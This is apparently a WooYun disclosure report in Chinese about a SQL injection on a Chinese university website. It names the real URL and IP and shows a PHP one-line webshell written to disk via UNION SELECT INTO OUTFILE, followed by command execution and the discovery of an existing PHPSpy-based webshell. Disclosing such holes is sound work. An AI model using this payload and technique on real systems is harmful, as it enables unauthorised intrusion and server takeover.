WooYun.org

进入页面
http://www.scut.edu.cn/qgysp/
找一个链接 http://202.38.194.195/qgysp/view.php?n_id=1947
发现有注入漏洞。其中有一个数据库名为 qgysp，先不拖库。
访问 http://202.38.194.195/ 发现服务器几乎裸奔。可以看到web绝对路径
直接上传一句话木马,union select '<?php eval($_GET['cmd']);?>' into outfile xxx什么的。

<?php eval($_GET['cmd']);?>

http://202.38.194.195/helloword.php?cmd=phpinfo();
运行个系统命令，看看进程，看看远程连接开了没有。

进程号是 2120，看看对应的端口是啥

嗯，发现没有开远程连接 3389~
上传个大马：

这个大马是 我执行系统命令的时候发现的 2013.php ，然后我下载了反编码了下。。。是基于PHPSPY 的一个木马。
额，其实不想搞大学网站的，顺手发现了，发一下。嗯，这个服务器已经裸奔了，赶紧修复哦。